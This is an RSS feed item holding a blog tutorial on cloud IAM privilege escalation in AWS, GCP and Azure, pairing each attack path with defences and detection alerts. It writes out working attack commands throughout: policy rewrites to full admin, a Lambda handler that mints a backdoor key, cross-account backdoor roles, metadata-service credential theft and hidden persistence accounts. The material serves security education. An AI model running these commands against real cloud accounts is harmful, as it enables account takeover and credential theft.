<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cloud Pentesting Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/cloud-pentesting/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/cloud-pentesting/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Fri, 17 Apr 2026 18:42:16 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Cloud Pentesting Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/cloud-pentesting/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</title>
		<link>https://linuxcent.com/cloud-iam-privilege-escalation/</link>
					<comments>https://linuxcent.com/cloud-iam-privilege-escalation/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 17 Apr 2026 18:42:16 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Cloud Pentesting]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IAM Misconfiguration]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Privilege Escalation]]></category>
		<category><![CDATA[Red Team]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-iam-privilege-escalation/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>How attackers escalate privileges in AWS, GCP, and Azure through IAM misconfigurations — iam:PassRole, actAs, roleAssignments/write — and how to block each path.</p>
<p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{background:#1e1e1e;color:#d4d4d4;padding:16px;border-radius:6px;
    overflow-x:auto;font-family:'Courier New',monospace;font-size:.88em;line-height:1.5}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <strong>AWS IAM Privilege Escalation</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; the IAM configuration determines how far an attacker goes</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s single highest-risk permission — it lets any principal assign any role to any service they can create</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> is a one-call path to full account takeover — the attacker rewrites the policy that&#8217;s already attached to them</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">Microsoft.Authorization/roleAssignments/write</code> in Azure are direct equivalents — same threat model, different syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation in GCP; restrict role assignment scope in Azure</li>
<li>Alert on IAM mutations — they are low-volume, high-signal events that should never be silent</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  AWS IAM PRIVILEGE ESCALATION — HOW LIMITED ACCESS BECOMES FULL COMPROMISE

  Initial credential (exposed key, SSRF to IMDS, phished session)
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  DISCOVERY (read-only, often undetected)                        │
  │  get-caller-identity · list-attached-policies · get-policy     │
  │  Result: attacker maps their permission surface in &lt; 15 min    │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PRIVILEGE ESCALATION — pick one path that&#039;s open:             │
  │                                                                 │
  │  iam:CreatePolicyVersion  →  rewrite your own policy to *:*    │
  │  iam:PassRole + lambda    →  invoke code under AdminRole       │
  │  iam:CreateRole +                                              │
  │    iam:AttachRolePolicy   →  create and arm a backdoor role    │
  │  iam:UpdateAssumeRolePolicy → hijack an existing admin role    │
  │  SSRF → IMDS              →  steal instance role credentials   │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PERSISTENCE (before incident response begins)                  │
  │  Create hidden IAM user · cross-account backdoor role          │
  │  Add personal account at org level (GCP)                       │
  │  These survive: password resets, key rotation, even            │
  │  deletion of the original compromised credential               │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  Impact: data exfiltration · destruction · ransomware · mining
</code></pre>
<p>AWS IAM privilege escalation follows a consistent pattern across almost every significant cloud breach: a limited initial credential, a chain of IAM permissions that expand access, and damage that&#8217;s proportional to how much room the IAM design gave the attacker to move. This episode maps the paths — as concrete techniques with specific permissions, because defending against them requires understanding exactly what they exploit.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>AWS IAM privilege escalation turns misconfigured permissions into full account compromise — and the entry point is rarely the attack that matters. In 2019, Capital One suffered a breach that exposed over 100 million customer records. The attacker didn&#8217;t find a zero-day. They exploited an SSRF vulnerability in a web application firewall, reached the EC2 instance metadata service, retrieved temporary credentials for the instance&#8217;s IAM role, and found a role with <code class="" data-line="">sts:AssumeRole</code> permissions that let it assume a more powerful role. That more powerful role had access to S3 buckets containing customer data.</p>
<p>The SSRF got the attacker a foothold. The IAM design determined how far they could go.</p>
<p>This is the pattern across almost every significant cloud breach: a limited initial credential, followed by a privilege escalation path through IAM, followed by the actual damage. The damage is determined not by the sophistication of the initial compromise but by how much room the IAM configuration gives an attacker to move.</p>
<p>This episode maps the paths. Not as theory — as concrete techniques with specific permissions, because understanding exactly what an attacker can do with a specific IAM misconfiguration is the only way to prioritize what to fix. The defensive controls are listed alongside each path because that&#8217;s where they&#8217;re most useful.</p>
<hr />
<h2 id="the-attack-chain">The Attack Chain</h2>
<p>Most cloud account compromises follow a consistent pattern:</p>
<pre><code class="" data-line="">Initial Access
  (compromised credential — exposed access key, SSRF to IMDS,
   compromised developer workstation, phished IdP session)
    │
    ▼
Discovery
  (what am I? what can I do? what can I reach?)
    │
    ▼
Privilege Escalation
  (use existing permissions to gain more permissions)
    │
    ▼
Lateral Movement
  (access other accounts, services, resources)
    │
    ▼
Persistence
  (create backdoor identities that survive credential rotation)
    │
    ▼
Impact
  (data exfiltration, destruction, ransomware, crypto mining)
</code></pre>
<p>Understanding this chain tells you where to put defensive controls. You can cut the chain at any link. The earlier the better — but it&#8217;s better to have multiple cuts than to assume a single control holds.</p>
<hr />
<h2 id="phase-1-discovery-an-attackers-first-steps">Phase 1: Discovery — An Attacker&#8217;s First Steps</h2>
<p>The moment an attacker has any cloud credential, they enumerate. This is low-noise, uses only read permissions, and in many environments goes completely undetected:</p>
<pre><code class="" data-line=""># AWS: establish identity
aws sts get-caller-identity
# Returns: Account, UserId, Arn — tells the attacker what they&#039;re working with

# Enumerate attached policies
aws iam list-attached-user-policies --user-name alice
aws iam list-user-policies --user-name alice
aws iam list-groups-for-user --user-name alice
aws iam list-attached-role-policies --role-name LambdaRole

# Read the actual policy document
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevAccess \
  --version-id v1

# Survey what&#039;s accessible
aws s3 ls
aws ec2 describe-instances --output table
aws secretsmanager list-secrets
aws ssm describe-parameters
</code></pre>
<pre><code class="" data-line=""># GCP: establish identity and permissions
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID --format=json | \
  jq &#039;.bindings[] | select(.members[] | contains(&quot;compromised-sa@project.iam.gserviceaccount.com&quot;))&#039;

# Test specific permissions
gcloud projects test-iam-permissions PROJECT_ID \
  --permissions=&quot;storage.objects.list,iam.roles.create,iam.serviceAccountKeys.create&quot;
</code></pre>
<pre><code class="" data-line=""># Azure: establish context
az account show
az role assignment list --assignee alice@company.com --all --output table
</code></pre>
<p>All of this is read-only. In most environments I&#8217;ve reviewed, there are no alerts on this activity unless the calls come from an unusual IP or at an unusual time. An attacker comfortable with the AWS CLI can map the permission surface of a compromised credential in 10–15 minutes.</p>
<hr />
<h2 id="aws-privilege-escalation-paths">AWS Privilege Escalation Paths</h2>
<h3 id="path-1-iamcreatepolicyversion">Path 1: iam:CreatePolicyVersion</h3>
<p>The most direct path. If a principal can create a new version of a policy attached to themselves, they can rewrite it to grant anything.</p>
<pre><code class="" data-line=""># Attacker has iam:CreatePolicyVersion on a policy attached to their own role
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{&quot;Effect&quot;: &quot;Allow&quot;, &quot;Action&quot;: &quot;*&quot;, &quot;Resource&quot;: &quot;*&quot;}]
  }&#039; \
  --set-as-default
# Result: DevPolicy now grants AdministratorAccess to everyone with it attached
</code></pre>
<p>The attacker doesn&#8217;t need to create new infrastructure. They inject admin access directly into their existing permission set. This is often undetected by basic monitoring because <code class="" data-line="">CreatePolicyVersion</code> is a low-frequency legitimate operation.</p>
<p><strong>Defence:</strong> Alert on every <code class="" data-line="">CreatePolicyVersion</code> call. Restrict the permission to a dedicated break-glass IAM role. Use permissions boundaries on developer roles to cap the maximum permissions they can ever hold.</p>
<h3 id="path-2-iampassrole-service-creation">Path 2: iam:PassRole + Service Creation</h3>
<p><code class="" data-line="">iam:PassRole</code> allows an identity to assign an IAM role to an AWS service. This is legitimate and necessary — it&#8217;s how you configure &#8220;this Lambda function runs with this role.&#8221; The attack vector: if a more powerful role exists in the account, and the attacker can pass it to a service they control and invoke that service, they operate with the more powerful role&#8217;s permissions.</p>
<pre><code class="" data-line=""># Attacker has: lambda:CreateFunction + iam:PassRole + lambda:InvokeFunction
# They know an existing AdminRole exists (discovered during enumeration)

# Create a Lambda that runs with AdminRole
aws lambda create-function \
  --function-name exfil-fn \
  --runtime python3.12 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://payload.zip

# Invoke — code now executes with AdminRole&#039;s permissions
aws lambda invoke --function-name exfil-fn /tmp/output.json
</code></pre>
<pre><code class="" data-line="">import boto3

def handler(event, context):
    # Running as AdminRole
    s3 = boto3.client(&#039;s3&#039;)
    buckets = s3.list_buckets()

    # Create a backdoor access key while we have elevated access
    iam = boto3.client(&#039;iam&#039;)
    key = iam.create_access_key(UserName=&#039;backdoor-user&#039;)

    return {&quot;buckets&quot;: [b[&#039;Name&#039;] for b in buckets[&#039;Buckets&#039;]], &quot;key&quot;: key}
</code></pre>
<p><strong>Defence:</strong> Scope <code class="" data-line="">iam:PassRole</code> to specific role ARNs — never <code class="" data-line="">Resource: *</code>. Example:</p>
<pre><code class="" data-line="">{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;iam:PassRole&quot;,
  &quot;Resource&quot;: &quot;arn:aws:iam::123456789012:role/LambdaExecutionRole-*&quot;
}
</code></pre>
<h3 id="path-3-iamcreaterole-iamattachrolepolicy">Path 3: iam:CreateRole + iam:AttachRolePolicy</h3>
<p>If an attacker can both create a role and attach policies to it, they create a backdoor identity:</p>
<pre><code class="" data-line=""># Create a role with a trust policy naming an attacker-controlled principal
aws iam create-role \
  --role-name BackdoorRole \
  --assume-role-policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }]
  }&#039;

# Attach AdministratorAccess
aws iam attach-role-policy \
  --role-name BackdoorRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Assume it from the attacker&#039;s account — persistent cross-account access
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/BackdoorRole \
  --role-session-name persistent-access
</code></pre>
<p>This is persistence, not just escalation — the backdoor survives password resets, access key rotation, even deletion of the original compromised credential.</p>
<h3 id="path-4-iamupdateassumerolepolicy">Path 4: iam:UpdateAssumeRolePolicy</h3>
<p>If an existing high-privilege role already exists, modifying its trust policy to allow the attacker&#8217;s principal is faster and quieter than creating a new role:</p>
<pre><code class="" data-line=""># Add attacker&#039;s principal to the trust policy of an existing AdminRole
aws iam update-assume-role-policy \
  --role-name ExistingAdminRole \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;Service&quot;: &quot;ec2.amazonaws.com&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;},
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::123456789012:user/attacker&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;}
    ]
  }&#039;
</code></pre>
<p>The original entry remains intact. A casual review might miss the addition. Trust policy changes should be critical-priority alerts.</p>
<h3 id="path-5-ssrf-to-ec2-instance-metadata">Path 5: SSRF to EC2 Instance Metadata</h3>
<p>The Capital One path. Any SSRF vulnerability in a web application running on EC2 can retrieve the instance role&#8217;s credentials from the metadata service:</p>
<pre><code class="" data-line="">Attacker → SSRF → GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Returns role name
→ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyAppRole
→ Returns: AccessKeyId, SecretAccessKey, Token (valid up to 6 hours)
</code></pre>
<p><strong>Defence:</strong> IMDSv2 requires a PUT request first, blocking simple GET-based SSRF:</p>
<pre><code class="" data-line=""># Enforce IMDSv2 at instance launch
aws ec2 run-instances \
  --metadata-options HttpTokens=required,HttpPutResponseHopLimit=1

# Enforce org-wide via SCP
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {&quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;}
  }
}
</code></pre>
<h3 id="high-risk-aws-permissions-reference">High-Risk AWS Permissions Reference</h3>
<table>
<thead>
<tr>
<th>Permission</th>
<th>Why It&#8217;s Dangerous</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code></td>
<td>Assign any role to any service — enables immediate privilege escalation</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreatePolicyVersion</code></td>
<td>Rewrite any policy to grant anything — full account takeover in one API call</td>
</tr>
<tr>
<td><code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Attach AdministratorAccess to any role</td>
</tr>
<tr>
<td><code class="" data-line="">iam:UpdateAssumeRolePolicy</code></td>
<td>Add any principal to any role&#8217;s trust policy</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateAccessKey</code> on other users</td>
<td>Create persistent credentials for any IAM user</td>
</tr>
<tr>
<td><code class="" data-line="">lambda:UpdateFunctionCode</code> on privileged Lambda</td>
<td>Inject malicious code into an elevated function</td>
</tr>
<tr>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read every secret in the account</td>
</tr>
<tr>
<td><code class="" data-line="">ssm:GetParameter</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read all Parameter Store values — often contains credentials</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateRole</code> + <code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Create and arm a backdoor role</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="gcp-privilege-escalation-paths">GCP Privilege Escalation Paths</h2>
<h3 id="iamserviceaccountsactas">iam.serviceAccounts.actAs</h3>
<p>GCP&#8217;s equivalent of <code class="" data-line="">iam:PassRole</code> — and broader. Allows an identity to make any GCP service act as a specified service account:</p>
<pre><code class="" data-line=""># Attacker has iam.serviceAccounts.actAs on an admin SA
gcloud --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com \
  iam roles list --project=my-project

# Generate a full access token and call any GCP API as admin-sa
gcloud auth print-access-token \
  --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com
</code></pre>
<h3 id="iamserviceaccountkeyscreate">iam.serviceAccountKeys.create</h3>
<p>Converts a short-lived identity into a persistent one. Create a key for an admin service account and you have indefinite access:</p>
<pre><code class="" data-line="">gcloud iam service-accounts keys create admin-key.json \
  --iam-account=admin-sa@project.iam.gserviceaccount.com
# Valid until explicitly deleted — no expiry by default

# Block this at org level
gcloud org-policies set-policy --organization=ORG_ID - &lt;&lt; &#039;EOF&#039;
name: organizations/ORG_ID/policies/iam.disableServiceAccountKeyCreation
spec:
  rules:
    - enforce: true
EOF
</code></pre>
<hr />
<h2 id="azure-privilege-escalation-paths">Azure Privilege Escalation Paths</h2>
<h3 id="microsoftauthorizationroleassignmentswrite">Microsoft.Authorization/roleAssignments/write</h3>
<p>If an identity can write role assignments, it can grant itself Owner at any scope it can write to:</p>
<pre><code class="" data-line="">az role assignment create \
  --assignee attacker@company.com \
  --role &quot;Owner&quot; \
  --scope /subscriptions/SUB_ID
</code></pre>
<h3 id="managed-identity-assignment">Managed Identity Assignment</h3>
<p>Attach a high-privilege managed identity to a VM the attacker controls, then retrieve its token via IMDS:</p>
<pre><code class="" data-line="">az vm identity assign \
  --name attacker-vm --resource-group rg-attacker \
  --identities /subscriptions/SUB/resourcegroups/rg-prod/providers/\
Microsoft.ManagedIdentity/userAssignedIdentities/admin-identity

# From inside the VM
curl &#039;http://169.254.169.254/metadata/identity/oauth2/token\
?api-version=2018-02-01&amp;resource=https://management.azure.com/&#039; \
  -H &#039;Metadata: true&#039;
</code></pre>
<hr />
<h2 id="persistence-how-attackers-outlast-incident-response">Persistence — How Attackers Outlast Incident Response</h2>
<pre><code class="" data-line=""># AWS: hidden IAM user with admin access
aws iam create-user --user-name svc-backup-01
aws iam attach-user-policy \
  --user-name svc-backup-01 \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-backup-01
# Valid until manually deleted — survives key rotation on other identities

# AWS: cross-account backdoor — hardest to find during IR
aws iam create-role --role-name svc-monitoring-role \
  --assume-role-policy-document &#039;{
    &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;
  }&#039;
aws iam attach-role-policy --role-name svc-monitoring-role \
  --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess

# GCP: add personal account at org level — survives project deletion
gcloud organizations add-iam-policy-binding ORG_ID \
  --member=&quot;user:attacker@gmail.com&quot; --role=&quot;roles/owner&quot;
</code></pre>
<p>Cross-account backdoors are particularly resilient — incident responders often focus on the compromised account without auditing trust relationships with external accounts.</p>
<hr />
<h2 id="detection-what-to-alert-on">Detection — What to Alert On</h2>
<table>
<thead>
<tr>
<th>Activity</th>
<th>Event to Watch</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>Role trust policy modified</td>
<td><code class="" data-line="">UpdateAssumeRolePolicy</code></td>
<td>Critical</td>
</tr>
<tr>
<td>New IAM user created</td>
<td><code class="" data-line="">CreateUser</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy version created</td>
<td><code class="" data-line="">CreatePolicyVersion</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy attached to role</td>
<td><code class="" data-line="">AttachRolePolicy</code>, <code class="" data-line="">PutRolePolicy</code></td>
<td>High</td>
</tr>
<tr>
<td>SA key created (GCP)</td>
<td><code class="" data-line="">google.iam.admin.v1.CreateServiceAccountKey</code></td>
<td>High</td>
</tr>
<tr>
<td>Role assignment at subscription scope (Azure)</td>
<td><code class="" data-line="">roleAssignments/write</code> at <code class="" data-line="">/subscriptions/</code></td>
<td>Critical</td>
</tr>
<tr>
<td>CloudTrail logging disabled</td>
<td><code class="" data-line="">StopLogging</code>, <code class="" data-line="">DeleteTrail</code></td>
<td>Critical</td>
</tr>
<tr>
<td><code class="" data-line="">GetSecretValue</code> at unusual hours</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code></td>
<td>Medium</td>
</tr>
</tbody>
</table>
<p>IAM events are low-volume in most accounts. That makes anomaly detection straightforward — a spike in IAM API calls outside business hours from an unusual principal is a strong signal. Configure the critical-priority events as real-time alerts, not just logged events.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — &quot;We have SCPs, so individual role permissions       ║
║       don&#039;t matter as much&quot;                                          ║
║                                                                      ║
║  SCPs set the ceiling. If an SCP allows iam:PassRole, any role      ║
║  with that permission can exploit it regardless of how &quot;scoped&quot;     ║
║  the SCP looks. SCPs and role-level permissions both need to be     ║
║  reviewed — they are independent layers.                            ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Permissions boundary doesn&#039;t stop iam:PassRole     ║
║                                                                      ║
║  A permissions boundary caps what a role can do directly. It does   ║
║  NOT prevent that role from passing a more powerful role to a       ║
║  Lambda or EC2. iam:PassRole escalation bypasses the boundary       ║
║  because the attacker is operating through the service, not         ║
║  directly through the bounded role.                                 ║
║                                                                      ║
║  Fix: scope iam:PassRole to specific ARNs regardless of whether     ║
║  a permissions boundary is in place.                                ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — CloudTrail doesn&#039;t log data plane events by default ║
║                                                                      ║
║  S3 object reads (GetObject), Secrets Manager reads (GetSecretValue)║
║  and SSM GetParameter are data events — not logged by CloudTrail   ║
║  unless you explicitly enable Data Events. An attacker exfiltrating ║
║  data via these calls leaves no trace in a default CloudTrail       ║
║  configuration.                                                      ║
║                                                                      ║
║  Fix: enable S3 and Lambda data events in CloudTrail. At minimum    ║
║  enable logging for secretsmanager:GetSecretValue.                  ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌──────────────────────────────────┬──────────────────────────────────────────────────────┐
│ Permission                       │ Escalation Path                                      │
├──────────────────────────────────┼──────────────────────────────────────────────────────┤
│ iam:CreatePolicyVersion          │ Rewrite your own policy to grant *:*                 │
│ iam:PassRole (Resource: *)       │ Assign AdminRole to a Lambda/EC2 you control         │
│ iam:CreateRole+AttachRolePolicy  │ Create and arm a backdoor cross-account role         │
│ iam:UpdateAssumeRolePolicy       │ Hijack existing admin role&#039;s trust policy            │
│ iam.serviceAccounts.actAs (GCP)  │ Impersonate any service account including admins     │
│ iam.serviceAccountKeys.create    │ Generate permanent key for any SA                    │
│ roleAssignments/write (Azure)    │ Assign Owner to yourself at subscription scope       │
└──────────────────────────────────┴──────────────────────────────────────────────────────┘

Defensive commands:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # AWS — find all roles with iam:PassRole on Resource: *                              │
│  aws iam list-policies --scope Local --query &#039;Policies[*].Arn&#039; --output text | \     │
│    xargs -I{} aws iam get-policy-version \                                            │
│      --policy-arn {} --version-id v1 --query &#039;PolicyVersion.Document&#039;                │
│                                                                                        │
│  # AWS — check who can assume a given role                                            │
│  aws iam get-role --role-name AdminRole \                                             │
│    --query &#039;Role.AssumeRolePolicyDocument&#039;                                            │
│                                                                                        │
│  # AWS — simulate whether a principal can CreatePolicyVersion                        │
│  aws iam simulate-principal-policy \                                                  │
│    --policy-source-arn arn:aws:iam::ACCOUNT:role/DevRole \                           │
│    --action-names iam:CreatePolicyVersion \                                           │
│    --resource-arns arn:aws:iam::ACCOUNT:policy/DevPolicy                             │
│                                                                                        │
│  # GCP — check who has actAs on a service account                                    │
│  gcloud iam service-accounts get-iam-policy SA_EMAIL \                               │
│    --format=json | jq &#039;.bindings[] | select(.role==&quot;roles/iam.serviceAccountUser&quot;)&#039;  │
│                                                                                        │
│  # GCP — list service account keys (find persistent backdoors)                       │
│  gcloud iam service-accounts keys list --iam-account=SA_EMAIL                        │
│                                                                                        │
│  # Azure — list all role assignments at subscription scope                           │
│  az role assignment list --scope /subscriptions/SUB_ID --output table                │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>IAM attack paths are the foundation of cloud penetration testing and access review methodology</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Defensive IAM design requires understanding offensive technique — you cannot protect paths you don&#8217;t know exist</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.8 Management of technical vulnerabilities</td>
<td>IAM misconfigurations are technical vulnerabilities — identifying and remediating privilege escalation paths</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.16 Monitoring activities</td>
<td>Detection signals and alerting on IAM mutations as part of continuous monitoring</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.1</td>
<td>Threat and vulnerability identification — this episode maps the threat model for cloud IAM</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Understanding attack paths informs the design of logical access controls that actually hold</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; IAM misconfigurations determine how far an attacker can go</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s highest-risk single permission — scope it to specific role ARNs or the escalation paths multiply</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> and <code class="" data-line="">iam:UpdateAssumeRolePolicy</code> are privilege escalation and persistence primitives — restrict them to dedicated admin roles</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">roleAssignments/write</code> in Azure are direct equivalents — same threat model, cloud-specific syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation org-wide in GCP; restrict role assignment scope in Azure</li>
<li>Enable CloudTrail Data Events — default logging misses S3 reads, Secrets Manager reads, and SSM GetParameter calls entirely</li>
<li>Alert on IAM mutations — low-volume, high-signal events that should never go unmonitored</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>You now know how attackers move through misconfigured IAM. <a href="/iam-least-privilege-audit/">AWS least privilege audit</a> is the defensive counterpart — using Access Analyzer, GCP IAM Recommender, and Azure Access Reviews to find and right-size over-permissioned access before an attacker does. The goal: get from wildcard policies to scoped, auditable permissions without breaking production.</p>
<p><em>Next: <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies</a></em></p>
<p>Get EP09 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
